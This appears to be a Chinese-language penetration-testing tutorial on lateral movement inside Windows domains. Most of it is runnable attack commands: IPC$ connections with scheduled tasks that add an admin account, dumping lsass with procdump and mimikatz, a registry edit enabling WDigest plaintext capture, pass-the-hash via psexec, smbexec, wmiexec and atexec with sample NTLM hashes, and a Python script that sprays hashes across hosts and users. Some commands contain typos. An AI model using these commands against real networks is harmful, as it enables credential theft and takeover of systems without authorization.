内网渗透-横向渗透1
1.横向渗透明文传递 at&schtasks
赢得内网主机后,如何通过本地信息收集用户凭证等信息,横向渗透赢得更多主机? 这里仅介绍 at&schtasks 在已知目标系统的用户明文密码的基础上,使用命令可以直接使用远程主 在机器上执行命令。
获取域主机权限->minikatz 获取密码(明文,hash)->使用信息收集中用户列表作为用户 名字典->使用密码明文作为密码字典-尝试连接->创建计划任务(at|schtasks)->执行文件可以是后门或者 者相关命令
- 建立 IPC 链接到目标主机
- 将要执行的命令脚本复制到目标主机
- 查看目标时间,创建计划任务(at、schtasks)定期复制的脚本
- 删除 IPC 链接
(1)5:拒绝访问可能是用户不是管理员权限,需要先提高权限
(2)51:网络问题,Windows 找不到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误,目标未启动,目标 Lanmanserver 服务没有启动,有 防火墙等问题
(4)67:找不到网络名称,本地 Lanmanworkstation 服务没有启动,目标删除 ipc$
(5)1219:提供的凭证与现有凭证集发生冲突,已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务没有启动,连接域控制经常发生
(8)2242:用户密码过期,目标有账户策略,强制定期更改密码
(1)目标系统不是 NT 或上述操作系统
(2)对方没有打开 IPC$共享
(3)对方未打开 139、445 或被防火墙屏蔽
(4)输出命令错误,账号密码错误
net use \\server\ipc$"password" /user:username # 工作组 net use \\server\ipc$"password" /user:domain\username #域内 dir \\xx.xx.xx.xx\C$\ # 查看文件列表 copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件 copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件 net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC net view xx.xx.xx.xx # 查看对方共享
net use \\192.168.1.21\ipc$ "password" /user:xy.com\administrator # 建立 ipc 连接: copy add.bat \\192.168.3.21\c$ #将执行文件复制到目标机器 at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
net use \\192.168.3.32\ipc$ "password" /user:xy.com\administrator # 建立 ipc 连接: copy add.bat \\192.168.1.1\c$ #向它复制文件 C 盘 schtasks /create /s 192.168.1.1 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务对应执行文件 schtasks /run /s 192.168.1.1 /tn adduser /i #运行 adduser 任务 schtasks /delete /s 192.168.1.11 /tn adduser /f #删除 adduser 任务
2.实例演示:
首先进入某域主机,
1.使用:
net time /domain #获得当前域控主机名称
2.获取域控主机ip地址
nslookup DD.xy.com #获取域控主机ip地址 ping 域控主机 #两种方法都可以
3.接下来用at命令或者schtasks命令
net use \\192.168.1.100\ipc$ "123456" /user:xy.com\administrator # 建立 ipc 连接: copy add.bat \\192.168.1.21\c$ #将执行文件复制到目标机器 at \\192.168.1.21 15:47 c:\add.bat #添加计划任务
add.bat文件内容 net user admin password /add #添加用户名密码
4.
在DOS输入操作界面
privilege::debug 提权命令 sekurlsa::logonpasswords 抓取密码命令
找到密码后,我们将验证密码是否正确。打开控制面板输入原始密码,查看是否可以修改。如果可以修改,则是正确的密码
另外,当不能上传时mimikatz当工具到达目标服务器时,可以使用procdump把lsass本地导出过程中的内存文件,然后在本地使用mimikatz读取密码
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
导出为lsass.dump文件 把lsass.dmp放在mimikatz目录利用
sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full
这样就读出了密码sha1加密的密码
3.其他案例
(会被杀毒软件查杀)
atexec.exe ./administrator:password@192.168.1.1 "whoami" #password处输入密码 atexec.exe god/administrator:password@192.168.1.1 "whoami" atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.1.1 "whoami"
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "password" /user:administrator #批量检测 IP 对应明文连接 #保存文件后缀名.bat,批处理文件 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password@%%i whoami #批量检测 IP 对应明文回显版 FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明确对应 IP回显版 FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH 对应 IP 回显版
2.域横向 smb&wmi 明文或 hash 传递
Windows2012以上版本默以关闭wdigest, 攻击者无法从内存中获得明文密码
Windows安装2012年以下版本KB287197补丁也会导致无法获得明文密码
- 利用哈希hash传递(pth, pt k等)移动
- 利用其它服务协议( SMB, WMI等)哈希移动
- 利用注册表操作开启wdigest Auth值进行获取
- 使用工具或第三方平台(Hachcat)破解获取
Widows系统LM Hash及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash
reg add
HKLM\ SYSTEM\CurrentControlSet\Control\SecurityProvidears\WDigest /v UseLogonCredential /t REG DWORD /d 1 /f
1. Procdump+Mimikatz 配合获取
procdump -accepteula -ma lsass.exe lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz 上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
2.Hashcat 破解获取 Windows NTML Hash
hashcat -a 0-m 1000hash file --force
参考:
https://www.freebuf.com/sectool/164507.html
3.域横向移动 SMB 服务利用-psexec,smbexec
net use \\192.168.1.1\ipc$ "password" /user:administrator
psexec \\192.168.1.1 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行
psexec \\192.168.1.1 -u administrator -p Admin12345 -s cmd #有账号密码
psexec -hashes :$HASH$ ./administrator@10.10.10.10
psexec -hashes :$HASH$ domain/administrator@10.10.10.10
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.1.1
官方 Pstools 无法采用 hash 连接
需要非官方自带-参考 impacket 工具包使用,操作简单,容易被杀
https://gitee.com/RichChigga/impacket-examples-windows
smbexec god/administrator:Admin12345@192.168.1.1
smbexec ./administrator:admin!@#45@192.168.1.1
smbexec -hashes :$HASH$ ./admin@192.168.1.1
smbbexec -hashes :$HASH$ domain/admin@192.168.1.1
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.1.1
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.1.1
4.域横向移动 WMI 服务利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,
wmic /node:192.168.1.1 /user:administrator /password:Admin12345 process call create "cmd.exe /c
ipconfig >C:\1.txt"
cscript //nologo wmiexec.vbs /shell 192.168.1.1 administrator Admin12345
套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
wmiexec ./administrator:admin!@#45@192.168.1.1 "whoami"
wmiexec god/administrator:Admin12345@192.168.1.1 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.1.1 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.1.1 "whoami"
5.域横向移动以上服务 hash 批量利用-python 编译 exe
pyinstaller.exe -F fuck_neiwang_002.py
import os,time
ips={
'192.168.1.1',
'192.168.1.2',
'192.168.1.3',
'192.168.1.4',
'192.168.1.5'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)